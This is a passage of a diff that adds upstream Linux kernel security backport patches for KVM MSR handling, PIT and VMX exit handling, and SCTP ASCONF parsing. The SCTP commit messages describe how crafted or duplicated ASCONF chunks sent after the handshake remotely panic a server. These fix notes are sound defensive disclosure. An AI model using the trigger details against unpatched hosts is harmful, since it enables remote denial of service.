b/arch/x86/kvm/vmx.c +index 882d6a95fa1be..e89f887d9f400 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -5065,7 +5065,7 @@ static int handle_wrmsr(struct kvm_vcpu *vcpu) + msr.data = data; + msr.index = ecx; + msr.host_initiated = false; +- if (vmx_set_msr(vcpu, &msr) != 0) { ++ if (kvm_set_msr(vcpu, &msr) != 0) { + trace_kvm_msr_write_ex(ecx, data); + kvm_inject_gp(vcpu, 0); + return 1; +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index 33ea3d07005fc..684f46dc87deb 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -925,7 +925,6 @@ void kvm_enable_efer_bits(u64 mask) + } + EXPORT_SYMBOL_GPL(kvm_enable_efer_bits); + +- + /* + * Writes msr value into into the appropriate "register". + * Returns 0 on success, non-0 otherwise. +@@ -933,8 +932,34 @@ EXPORT_SYMBOL_GPL(kvm_enable_efer_bits); + */ + int kvm_set_msr(struct kvm_vcpu *vcpu, struct msr_data *msr) + { ++ switch (msr->index) { ++ case MSR_FS_BASE: ++ case MSR_GS_BASE: ++ case MSR_KERNEL_GS_BASE: ++ case MSR_CSTAR: ++ case MSR_LSTAR: ++ if (is_noncanonical_address(msr->data)) ++ return 1; ++ break; ++ case MSR_IA32_SYSENTER_EIP: ++ case MSR_IA32_SYSENTER_ESP: ++ /* ++ * IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if ++ * non-canonical address is written on Intel but not on ++ * AMD (which ignores the top 32-bits, because it does ++ * not implement 64-bit SYSENTER). ++ * ++ * 64-bit code should hence be able to write a non-canonical ++ * value on AMD. Making the address canonical ensures that ++ * vmentry does not fail on Intel after writing a non-canonical ++ * value, and that something deterministic happens if the guest ++ * invokes 64-bit SYSENTER. ++ */ ++ msr->data = get_canonical(msr->data); ++ } + return kvm_x86_ops->set_msr(vcpu, msr); + } ++EXPORT_SYMBOL_GPL(kvm_set_msr); + + /* + * Adapt set_msr() to msr_io()'s calling convention +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0059-1bea37d63c16-KVM x86 Prevent host from panicking on shared MSR writes.patch b/recipes-kernel/linux/linux-bass/autopatcher/0059-1bea37d63c16-KVM x86 Prevent host from panicking on shared MSR writes.patch new file mode 100644 index 0000000..cff326c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0059-1bea37d63c16-KVM x86 Prevent host from panicking on shared MSR writes.patch @@ -0,0 +1,92 @@ +From 1bea37d63c16c5988d83ac2431c38e0f0a55cf37 Mon Sep 17 00:00:00 2001 +From: Andy Honig +Date: Wed, 27 Aug 2014 11:16:44 -0700 +Subject: KVM: x86: Prevent host from panicking on shared MSR writes. + +commit 8b3c3104c3f4f706e99365c3e0d2aa61b95f969f upstream. + +The previous patch blocked invalid writes directly when the MSR +is written. As a precaution, prevent future similar mistakes by +gracefulling handle GPs caused by writes to shared MSRs. + +Signed-off-by: Andrew Honig +[Remove parts obsoleted by Nadav's patch. - Paolo] +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/asm/kvm_host.h | 2 +- + arch/x86/kvm/vmx.c | 7 +++++-- + arch/x86/kvm/x86.c | 11 ++++++++--- + 3 files changed, 14 insertions(+), 6 deletions(-) + +diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h +index 373058c9b75d8..0312876eadb3c 100644 +--- a/arch/x86/include/asm/kvm_host.h ++++ b/arch/x86/include/asm/kvm_host.h +@@ -1011,7 +1011,7 @@ int kvm_cpu_get_interrupt(struct kvm_vcpu *v); + void kvm_vcpu_reset(struct kvm_vcpu *vcpu); + + void kvm_define_shared_msr(unsigned index, u32 msr); +-void kvm_set_shared_msr(unsigned index, u64 val, u64 mask); ++int kvm_set_shared_msr(unsigned index, u64 val, u64 mask); + + bool kvm_is_linear_rip(struct kvm_vcpu *vcpu, unsigned long linear_rip); + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 8d9d37ff82505..882d6a95fa1be 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -2493,12 +2493,15 @@ static int vmx_set_msr(struct kvm_vcpu *vcpu, struct msr_data *msr_info) + break; + msr = find_msr_entry(vmx, msr_index); + if (msr) { ++ u64 old_msr_data = msr->data; + msr->data = data; + if (msr - vmx->guest_msrs < vmx->save_nmsrs) { + preempt_disable(); +- kvm_set_shared_msr(msr->index, msr->data, +- msr->mask); ++ ret = kvm_set_shared_msr(msr->index, msr->data, ++ msr->mask); + preempt_enable(); ++ if (ret) ++ msr->data = old_msr_data; + } + break; + } +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index e8753555f1446..33ea3d07005fc 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -225,20 +225,25 @@ static void kvm_shared_msr_cpu_online(void) + shared_msr_update(i, shared_msrs_global.msrs[i]); + } + +-void kvm_set_shared_msr(unsigned slot, u64 value, u64 mask) ++int kvm_set_shared_msr(unsigned slot, u64 value, u64 mask) + { + unsigned int cpu = smp_processor_id(); + struct kvm_shared_msrs *smsr = per_cpu_ptr(shared_msrs, cpu); ++ int err; + + if (((value ^ smsr->values[slot].curr) & mask) == 0) +- return; ++ return 0; + smsr->values[slot].curr = value; +- wrmsrl(shared_msrs_global.msrs[slot], value); ++ err = wrmsrl_safe(shared_msrs_global.msrs[slot], value); ++ if (err) ++ return 1; ++ + if (!smsr->registered) { + smsr->urn.on_user_return = kvm_on_user_return; + user_return_notifier_register(&smsr->urn); + smsr->registered = true; + } ++ return 0; + } + EXPORT_SYMBOL_GPL(kvm_set_shared_msr); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0060-ca09be78c8d5-KVM x86 Improve thread safety in pit.patch b/recipes-kernel/linux/linux-bass/autopatcher/0060-ca09be78c8d5-KVM x86 Improve thread safety in pit.patch new file mode 100644 index 0000000..81af64e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0060-ca09be78c8d5-KVM x86 Improve thread safety in pit.patch @@ -0,0 +1,39 @@ +From ca09be78c8d5d2a4fe38ec97a61b3c7fc3463794 Mon Sep 17 00:00:00 2001 +From: Andy Honig +Date: Wed, 27 Aug 2014 14:42:54 -0700 +Subject: KVM: x86: Improve thread safety in pit + +commit 2febc839133280d5a5e8e1179c94ea674489dae2 upstream. + +There's a race condition in the PIT emulation code in KVM. In +__kvm_migrate_pit_timer the pit_timer object is accessed without +synchronization. If the race condition occurs at the wrong time this +can crash the host kernel. + +This fixes CVE-2014-3611. + +Signed-off-by: Andrew Honig +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/i8254.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/arch/x86/kvm/i8254.c b/arch/x86/kvm/i8254.c +index 518d86471b76f..298781d4cfb44 100644 +--- a/arch/x86/kvm/i8254.c ++++ b/arch/x86/kvm/i8254.c +@@ -262,8 +262,10 @@ void __kvm_migrate_pit_timer(struct kvm_vcpu *vcpu) + return; + + timer = &pit->pit_state.timer; ++ mutex_lock(&pit->pit_state.lock); + if (hrtimer_cancel(timer)) + hrtimer_start_expires(timer, HRTIMER_MODE_ABS); ++ mutex_unlock(&pit->pit_state.lock); + } + + static void destroy_pit_timer(struct kvm_pit *pit) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0061-4ca178ae0f42-nEPT Nested INVEPT.patch b/recipes-kernel/linux/linux-bass/autopatcher/0061-4ca178ae0f42-nEPT Nested INVEPT.patch new file mode 100644 index 0000000..b0739fc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0061-4ca178ae0f42-nEPT Nested INVEPT.patch @@ -0,0 +1,84 @@ +From 4ca178ae0f426c595e62ebde92fc713255ccd101 Mon Sep 17 00:00:00 2001 +From: Nadav Har'El +Date: Mon, 5 Aug 2013 11:07:17 +0300 +Subject: nEPT: Nested INVEPT + +commit bfd0a56b90005f8c8a004baf407ad90045c2b11e upstream. + +If we let L1 use EPT, we should probably also support the INVEPT instruction. + +In our current nested EPT implementation, when L1 changes its EPT table +for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in +the course of this modification already calls INVEPT. But if last level +of shadow page is unsync not all L1's changes to EPT12 are intercepted, +which means roots need to be synced when L1 calls INVEPT. Global INVEPT +should not be different since roots are synced by kvm_mmu_load() each +time EPTP02 changes. + +Reviewed-by: Xiao Guangrong +Signed-off-by: Nadav Har'El +Signed-off-by: Jun Nakajima +Signed-off-by: Xinhao Xu +Signed-off-by: Yang Zhang +Signed-off-by: Gleb Natapov +Signed-off-by: Paolo Bonzini +[bwh: Backported to 3.2: + - Adjust context, filename + - Simplify handle_invept() as recommended by Paolo - nEPT is not + supported so we always raise #UD] +Signed-off-by: Ben Hutchings +Cc: Vinson Lee +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/uapi/asm/vmx.h | 1 + + arch/x86/kvm/vmx.c | 8 ++++++++ + 2 files changed, 9 insertions(+) + +diff --git a/arch/x86/include/uapi/asm/vmx.h b/arch/x86/include/uapi/asm/vmx.h +index d651082c7cf72..7a34e8fe54bd1 100644 +--- a/arch/x86/include/uapi/asm/vmx.h ++++ b/arch/x86/include/uapi/asm/vmx.h +@@ -65,6 +65,7 @@ + #define EXIT_REASON_EOI_INDUCED 45 + #define EXIT_REASON_EPT_VIOLATION 48 + #define EXIT_REASON_EPT_MISCONFIG 49 ++#define EXIT_REASON_INVEPT 50 + #define EXIT_REASON_PREEMPTION_TIMER 52 + #define EXIT_REASON_WBINVD 54 + #define EXIT_REASON_XSETBV 55 +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 51139ff34917e..7112be5f1eaf5 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -6242,6 +6242,12 @@ static int handle_vmptrst(struct kvm_vcpu *vcpu) + return 1; + } + ++static int handle_invept(struct kvm_vcpu *vcpu) ++{ ++ kvm_queue_exception(vcpu, UD_VECTOR); ++ return 1; ++} ++ + /* + * The exit handlers return 1 if the exit was handled fully and guest execution + * may resume. Otherwise they set the kvm_run parameter to indicate what needs +@@ -6286,6 +6292,7 @@ static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = { + [EXIT_REASON_PAUSE_INSTRUCTION] = handle_pause, + [EXIT_REASON_MWAIT_INSTRUCTION] = handle_invalid_op, + [EXIT_REASON_MONITOR_INSTRUCTION] = handle_invalid_op, ++ [EXIT_REASON_INVEPT] = handle_invept, + }; + + static const int kvm_vmx_max_exit_handlers = +@@ -6512,6 +6519,7 @@ static bool nested_vmx_exit_handled(struct kvm_vcpu *vcpu) + case EXIT_REASON_VMPTRST: case EXIT_REASON_VMREAD: + case EXIT_REASON_VMRESUME: case EXIT_REASON_VMWRITE: + case EXIT_REASON_VMOFF: case EXIT_REASON_VMON: ++ case EXIT_REASON_INVEPT: + /* + * VMX instructions trap unconditionally. This allows L1 to + * emulate them for its L2 guest, i.e., allows 3-level nesting! +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0062-f9e5b0ded4be-kvm vmx handle invvpid vm exit gracefully.patch b/recipes-kernel/linux/linux-bass/autopatcher/0062-f9e5b0ded4be-kvm vmx handle invvpid vm exit gracefully.patch new file mode 100644 index 0000000..6eacb4e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0062-f9e5b0ded4be-kvm vmx handle invvpid vm exit gracefully.patch @@ -0,0 +1,84 @@ +From f9e5b0ded4be49805adcceff46c1f44137773b24 Mon Sep 17 00:00:00 2001 +From: Petr Matousek +Date: Tue, 23 Sep 2014 20:22:30 +0200 +Subject: kvm: vmx: handle invvpid vm exit gracefully + +commit a642fc305053cc1c6e47e4f4df327895747ab485 upstream. + +On systems with invvpid instruction support (corresponding bit in +IA32_VMX_EPT_VPID_CAP MSR is set) guest invocation of invvpid +causes vm exit, which is currently not handled and results in +propagation of unknown exit to userspace. + +Fix this by installing an invvpid vm exit handler. + +This is CVE-2014-3646. + +Cc: stable@vger.kernel.org +Signed-off-by: Petr Matousek +Signed-off-by: Paolo Bonzini +[wangkai: Backport to 3.10: adjust context] +Signed-off-by: Wang Kai +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/uapi/asm/vmx.h | 2 ++ + arch/x86/kvm/vmx.c | 9 ++++++++- + 2 files changed, 10 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/uapi/asm/vmx.h b/arch/x86/include/uapi/asm/vmx.h +index 7a34e8fe54bd1..dccea7f290519 100644 +--- a/arch/x86/include/uapi/asm/vmx.h ++++ b/arch/x86/include/uapi/asm/vmx.h +@@ -67,6 +67,7 @@ + #define EXIT_REASON_EPT_MISCONFIG 49 + #define EXIT_REASON_INVEPT 50 + #define EXIT_REASON_PREEMPTION_TIMER 52 ++#define EXIT_REASON_INVVPID 53 + #define EXIT_REASON_WBINVD 54 + #define EXIT_REASON_XSETBV 55 + #define EXIT_REASON_APIC_WRITE 56 +@@ -112,6 +113,7 @@ + { EXIT_REASON_EOI_INDUCED, "EOI_INDUCED" }, \ + { EXIT_REASON_INVALID_STATE, "INVALID_STATE" }, \ + { EXIT_REASON_INVD, "INVD" }, \ ++ { EXIT_REASON_INVVPID, "INVVPID" }, \ + { EXIT_REASON_INVPCID, "INVPCID" }, \ + { EXIT_REASON_PREEMPTION_TIMER, "PREEMPTION_TIMER" } + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 7112be5f1eaf5..b8a0ae75619f9 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -6248,6 +6248,12 @@ static int handle_invept(struct kvm_vcpu *vcpu) + return 1; + } + ++static int handle_invvpid(struct kvm_vcpu *vcpu) ++{ ++ kvm_queue_exception(vcpu, UD_VECTOR); ++ return 1; ++} ++ + /* + * The exit handlers return 1 if the exit was handled fully and guest execution + * may resume. Otherwise they set the kvm_run parameter to indicate what needs +@@ -6293,6 +6299,7 @@ static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = { + [EXIT_REASON_MWAIT_INSTRUCTION] = handle_invalid_op, + [EXIT_REASON_MONITOR_INSTRUCTION] = handle_invalid_op, + [EXIT_REASON_INVEPT] = handle_invept, ++ [EXIT_REASON_INVVPID] = handle_invvpid, + }; + + static const int kvm_vmx_max_exit_handlers = +@@ -6519,7 +6526,7 @@ static bool nested_vmx_exit_handled(struct kvm_vcpu *vcpu) + case EXIT_REASON_VMPTRST: case EXIT_REASON_VMREAD: + case EXIT_REASON_VMRESUME: case EXIT_REASON_VMWRITE: + case EXIT_REASON_VMOFF: case EXIT_REASON_VMON: +- case EXIT_REASON_INVEPT: ++ case EXIT_REASON_INVEPT: case EXIT_REASON_INVVPID: + /* + * VMX instructions trap unconditionally. This allows L1 to + * emulate them for its L2 guest, i.e., allows 3-level nesting! +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0063-9de7922bc709-net sctp fix skboverpanic when receiving malformed ASCONF chunks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0063-9de7922bc709-net sctp fix skboverpanic when receiving malformed ASCONF chunks.patch new file mode 100644 index 0000000..9ae17cc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0063-9de7922bc709-net sctp fix skboverpanic when receiving malformed ASCONF chunks.patch @@ -0,0 +1,339 @@ +From 9de7922bc709eee2f609cd01d98aaedc4cf5ea74 Mon Sep 17 00:00:00 2001 +From: Daniel Borkmann +Date: Thu, 9 Oct 2014 22:55:31 +0200 +Subject: net: sctp: fix skb_over_panic when receiving malformed ASCONF chunks + +Commit 6f4c618ddb0 ("SCTP : Add paramters validity check for +ASCONF chunk") added basic verification of ASCONF chunks, however, +it is still possible to remotely crash a server by sending a +special crafted ASCONF chunk, even up to pre 2.6.12 kernels: + +skb_over_panic: text:ffffffffa01ea1c3 len:31056 put:30768 + head:ffff88011bd81800 data:ffff88011bd81800 tail:0x7950 + end:0x440 dev: + ------------[ cut here ]------------ +kernel BUG at net/core/skbuff.c:129! +[...] +Call Trace: + + [] skb_put+0x5c/0x70 + [] sctp_addto_chunk+0x63/0xd0 [sctp] + [] sctp_process_asconf+0x1af/0x540 [sctp] + [] ? _read_unlock_bh+0x15/0x20 + [] sctp_sf_do_asconf+0x168/0x240 [sctp] + [] sctp_do_sm+0x71/0x1210 [sctp] + [] ? fib_rules_lookup+0xad/0xf0 + [] ? sctp_cmp_addr_exact+0x32/0x40 [sctp] + [] sctp_assoc_bh_rcv+0xd3/0x180 [sctp] + [] sctp_inq_push+0x56/0x80 [sctp] + [] sctp_rcv+0x982/0xa10 [sctp] + [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter] + [] ? nf_iterate+0x69/0xb0 + [] ? ip_local_deliver_finish+0x0/0x2d0 + [] ? nf_hook_slow+0x76/0x120 + [] ? ip_local_deliver_finish+0x0/0x2d0 + [] ip_local_deliver_finish+0xdd/0x2d0 + [] ip_local_deliver+0x98/0xa0 + [] ip_rcv_finish+0x12d/0x440 + [] ip_rcv+0x275/0x350 + [] __netif_receive_skb+0x4ab/0x750 + [] netif_receive_skb+0x58/0x60 + +This can be triggered e.g., through a simple scripted nmap +connection scan injecting the chunk after the handshake, for +example, ... + + -------------- INIT[ASCONF; ASCONF_ACK] -------------> + <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ + -------------------- COOKIE-ECHO --------------------> + <-------------------- COOKIE-ACK --------------------- + ------------------ ASCONF; UNKNOWN ------------------> + +... where ASCONF chunk of length 280 contains 2 parameters ... + + 1) Add IP address parameter (param length: 16) + 2) Add/del IP address parameter (param length: 255) + +... followed by an UNKNOWN chunk of e.g. 4 bytes. Here, the +Address Parameter in the ASCONF chunk is even missing, too. +This is just an example and similarly-crafted ASCONF chunks +could be used just as well. + +The ASCONF chunk passes through sctp_verify_asconf() as all +parameters passed sanity checks, and after walking, we ended +up successfully at the chunk end boundary, and thus may invoke +sctp_process_asconf(). Parameter walking is done with +WORD_ROUND() to take padding into account. + +In sctp_process_asconf()'s TLV processing, we may fail in +sctp_process_asconf_param() e.g., due to removal of the IP +address that is also the source address of the packet containing +the ASCONF chunk, and thus we need to add all TLVs after the +failure to our ASCONF response to remote via helper function +sctp_add_asconf_response(), which basically invokes a +sctp_addto_chunk() adding the error parameters to the given +skb. + +When walking to the next parameter this time, we proceed +with ... + + length = ntohs(asconf_param->param_hdr.length); + asconf_param = (void *)asconf_param + length; + +... instead of the WORD_ROUND()'ed length, thus resulting here +in an off-by-one that leads to reading the follow-up garbage +parameter length of 12336, and thus throwing an skb_over_panic +for the reply when trying to sctp_addto_chunk() next time, +which implicitly calls the skb_put() with that length. + +Fix it by using sctp_walk_params() [ which is also used in +INIT parameter processing ] macro in the verification *and* +in ASCONF processing: it will make sure we don't spill over, +that we walk parameters WORD_ROUND()'ed. Moreover, we're being +more defensive and guard against unknown parameter types and +missized addresses. + +Joint work with Vlad Yasevich. + +Fixes: b896b82be4ae ("[SCTP] ADDIP: Support for processing incoming ASCONF_ACK chunks.") +Signed-off-by: Daniel Borkmann +Signed-off-by: Vlad Yasevich +Acked-by: Neil Horman +Signed-off-by: David S. Miller +--- + include/net/sctp/sm.h | 6 +-- + net/sctp/sm_make_chunk.c | 99 +++++++++++++++++++++++++++--------------------- + net/sctp/sm_statefuns.c | 18 +-------- + 3 files changed, 60 insertions(+), 63 deletions(-) + +diff --git a/include/net/sctp/sm.h b/include/net/sctp/sm.h +index 7f4eeb340a54..72a31db47ded 100644 +--- a/include/net/sctp/sm.h ++++ b/include/net/sctp/sm.h +@@ -248,9 +248,9 @@ struct sctp_chunk *sctp_make_asconf_update_ip(struct sctp_association *, + int, __be16); + struct sctp_chunk *sctp_make_asconf_set_prim(struct sctp_association *asoc, + union sctp_addr *addr); +-int sctp_verify_asconf(const struct sctp_association *asoc, +- struct sctp_paramhdr *param_hdr, void *chunk_end, +- struct sctp_paramhdr **errp); ++bool sctp_verify_asconf(const struct sctp_association *asoc, ++ struct sctp_chunk *chunk, bool addr_param_needed, ++ struct sctp_paramhdr **errp); + struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, + struct sctp_chunk *asconf); + int sctp_process_asconf_ack(struct sctp_association *asoc, +diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c +index ae0e616a7ca5..ab734be8cb20 100644 +--- a/net/sctp/sm_make_chunk.c ++++ b/net/sctp/sm_make_chunk.c +@@ -3110,50 +3110,63 @@ static __be16 sctp_process_asconf_param(struct sctp_association *asoc, + return SCTP_ERROR_NO_ERROR; + } + +-/* Verify the ASCONF packet before we process it. */ +-int sctp_verify_asconf(const struct sctp_association *asoc, +- struct sctp_paramhdr *param_hdr, void *chunk_end, +- struct sctp_paramhdr **errp) { +- sctp_addip_param_t *asconf_param; ++/* Verify the ASCONF packet before we process it. */ ++bool sctp_verify_asconf(const struct sctp_association *asoc, ++ struct sctp_chunk *chunk, bool addr_param_needed, ++ struct sctp_paramhdr **errp) ++{ ++ sctp_addip_chunk_t *addip = (sctp_addip_chunk_t *) chunk->chunk_hdr; + union sctp_params param; +- int length, plen; +- +- param.v = (sctp_paramhdr_t *) param_hdr; +- while (param.v <= chunk_end - sizeof(sctp_paramhdr_t)) { +- length = ntohs(param.p->length); +- *errp = param.p; ++ bool addr_param_seen = false; + +- if (param.v > chunk_end - length || +- length < sizeof(sctp_paramhdr_t)) +- return 0; ++ sctp_walk_params(param, addip, addip_hdr.params) { ++ size_t length = ntohs(param.p->length); + ++ *errp = param.p; + switch (param.p->type) { ++ case SCTP_PARAM_ERR_CAUSE: ++ break; ++ case SCTP_PARAM_IPV4_ADDRESS: ++ if (length != sizeof(sctp_ipv4addr_param_t)) ++ return false; ++ addr_param_seen = true; ++ break; ++ case SCTP_PARAM_IPV6_ADDRESS: ++ if (length != sizeof(sctp_ipv6addr_param_t)) ++ return false; ++ addr_param_seen = true; ++ break; + case SCTP_PARAM_ADD_IP: + case SCTP_PARAM_DEL_IP: + case SCTP_PARAM_SET_PRIMARY: +- asconf_param = (sctp_addip_param_t *)param.v; +- plen = ntohs(asconf_param->param_hdr.length); +- if (plen < sizeof(sctp_addip_param_t) + +- sizeof(sctp_paramhdr_t)) +- return 0; ++ /* In ASCONF chunks, these need to be first. */ ++ if (addr_param_needed && !addr_param_seen) ++ return false; ++ length = ntohs(param.addip->param_hdr.length); ++ if (length < sizeof(sctp_addip_param_t) + ++ sizeof(sctp_paramhdr_t)) ++ return false; + break; + case SCTP_PARAM_SUCCESS_REPORT: + case SCTP_PARAM_ADAPTATION_LAYER_IND: + if (length != sizeof(sctp_addip_param_t)) +- return 0; +- ++ return false; + break; + default: +- break; ++ /* This is unkown to us, reject! */ ++ return false; + } +- +- param.v += WORD_ROUND(length); + } + +- if (param.v != chunk_end) +- return 0; ++ /* Remaining sanity checks. */ ++ if (addr_param_needed && !addr_param_seen) ++ return false; ++ if (!addr_param_needed && addr_param_seen) ++ return false; ++ if (param.v != chunk->chunk_end) ++ return false; + +- return 1; ++ return true; + } + + /* Process an incoming ASCONF chunk with the next expected serial no. and +@@ -3162,16 +3175,17 @@ int sctp_verify_asconf(const struct sctp_association *asoc, + struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, + struct sctp_chunk *asconf) + { ++ sctp_addip_chunk_t *addip = (sctp_addip_chunk_t *) asconf->chunk_hdr; ++ bool all_param_pass = true; ++ union sctp_params param; + sctp_addiphdr_t *hdr; + union sctp_addr_param *addr_param; + sctp_addip_param_t *asconf_param; + struct sctp_chunk *asconf_ack; +- + __be16 err_code; + int length = 0; + int chunk_len; + __u32 serial; +- int all_param_pass = 1; + + chunk_len = ntohs(asconf->chunk_hdr->length) - sizeof(sctp_chunkhdr_t); + hdr = (sctp_addiphdr_t *)asconf->skb->data; +@@ -3199,9 +3213,14 @@ struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, + goto done; + + /* Process the TLVs contained within the ASCONF chunk. */ +- while (chunk_len > 0) { ++ sctp_walk_params(param, addip, addip_hdr.params) { ++ /* Skip preceeding address parameters. */ ++ if (param.p->type == SCTP_PARAM_IPV4_ADDRESS || ++ param.p->type == SCTP_PARAM_IPV6_ADDRESS) ++ continue; ++ + err_code = sctp_process_asconf_param(asoc, asconf, +- asconf_param); ++ param.addip); + /* ADDIP 4.1 A7) + * If an error response is received for a TLV parameter, + * all TLVs with no response before the failed TLV are +@@ -3209,28 +3228,20 @@ struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, + * the failed response are considered unsuccessful unless + * a specific success indication is present for the parameter. + */ +- if (SCTP_ERROR_NO_ERROR != err_code) +- all_param_pass = 0; +- ++ if (err_code != SCTP_ERROR_NO_ERROR) ++ all_param_pass = false; + if (!all_param_pass) +- sctp_add_asconf_response(asconf_ack, +- asconf_param->crr_id, err_code, +- asconf_param); ++ sctp_add_asconf_response(asconf_ack, param.addip->crr_id, ++ err_code, param.addip); + + /* ADDIP 4.3 D11) When an endpoint receiving an ASCONF to add + * an IP address sends an 'Out of Resource' in its response, it + * MUST also fail any subsequent add or delete requests bundled + * in the ASCONF. + */ +- if (SCTP_ERROR_RSRC_LOW == err_code) ++ if (err_code == SCTP_ERROR_RSRC_LOW) + goto done; +- +- /* Move to the next ASCONF param. */ +- length = ntohs(asconf_param->param_hdr.length); +- asconf_param = (void *)asconf_param + length; +- chunk_len -= length; + } +- + done: + asoc->peer.addip_serial++; + +diff --git a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c +index c8f606324134..bdea3dfbad31 100644 +--- a/net/sctp/sm_statefuns.c ++++ b/net/sctp/sm_statefuns.c +@@ -3591,9 +3591,7 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net, + struct sctp_chunk *asconf_ack = NULL; + struct sctp_paramhdr *err_param = NULL; + sctp_addiphdr_t *hdr; +- union sctp_addr_param *addr_param; + __u32 serial; +- int length; + + if (!sctp_vtag_verify(chunk, asoc)) { + sctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG, +@@ -3618,17 +3616,8 @@ sctp_disposition_t sctp_sf_do_asconf(struct net *net, + hdr = (sctp_addiphdr_t *)chunk->skb->data; + serial = ntohl(hdr->serial); + +- addr_param = (union sctp_addr_param *)hdr->params; +- length = ntohs(addr_param->p.length); +- if (length < sizeof(sctp_paramhdr_t)) +- return sctp_sf_violation_paramlen(net, ep, asoc, type, arg, +- (void *)addr_param, commands); +- + /* Verify the ASCONF chunk before processing it. */ +- if (!sctp_verify_asconf(asoc, +- (sctp_paramhdr_t *)((void *)addr_param + length), +- (void *)chunk->chunk_end, +- &err_param)) ++ if (!sctp_verify_asconf(asoc, chunk, true, &err_param)) + return sctp_sf_violation_paramlen(net, ep, asoc, type, arg, + (void *)err_param, commands); + +@@ -3745,10 +3734,7 @@ sctp_disposition_t sctp_sf_do_asconf_ack(struct net *net, + rcvd_serial = ntohl(addip_hdr->serial); + + /* Verify the ASCONF-ACK chunk before processing it. */ +- if (!sctp_verify_asconf(asoc, +- (sctp_paramhdr_t *)addip_hdr->params, +- (void *)asconf_ack->chunk_end, +- &err_param)) ++ if (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param)) + return sctp_sf_violation_paramlen(net, ep, asoc, type, arg, + (void *)err_param, commands); + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0064-3329125539de-net sctp fix panic on duplicate ASCONF chunks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0064-3329125539de-net sctp fix panic on duplicate ASCONF chunks.patch new file mode 100644 index 0000000..c3ba2de --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0064-3329125539de-net sctp fix panic on duplicate ASCONF chunks.patch @@ -0,0 +1,98 @@ +From 3329125539de90e5fa6ab83009f5f82ef73a3259 Mon Sep 17 00:00:00 2001 +From: Daniel Borkmann +Date: Thu, 9 Oct 2014 22:55:32 +0200 +Subject: net: sctp: fix panic on duplicate ASCONF chunks + +commit b69040d8e39f20d5215a03502a8e8b4c6ab78395 upstream. + +When receiving a e.g. semi-good formed connection scan in the +form of ... + + -------------- INIT[ASCONF; ASCONF_ACK] -------------> + <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ + -------------------- COOKIE-ECHO --------------------> + <-------------------- COOKIE-ACK --------------------- + ---------------- ASCONF_a; ASCONF_b -----------------> + +... where ASCONF_a equals ASCONF_b chunk (at least both serials +need to be equal), we panic an SCTP server! + +The problem is that good-formed ASCONF chunks that we reply with +ASCONF_ACK chunks are cached per serial. Thus, when we receive a +same ASCONF chunk twice (e.g. through a lost ASCONF_ACK), we do +not need to process them again on the server side (that was the +idea, also proposed in the RFC). Instead, we know it was cached +and we just resend the cached chunk instead. So far, so good. + +Where things get nasty is in SCTP's side effect interpreter, that +is, sctp_cmd_interpreter(): + +While incoming ASCONF_a (chunk = event_arg) is being marked +!end_of_packet and !singleton, and we have an association context, +we do not flush the outqueue the first time after processing the +ASCONF_ACK singleton chunk via SCTP_CMD_REPLY. Instead, we keep it +queued up, although we set local_cork to 1. Commit 2e3216cd54b1 +changed the precedence, so that as long as we get bundled, incoming +chunks we try possible bundling on outgoing queue as well. Before +this commit, we would just flush the 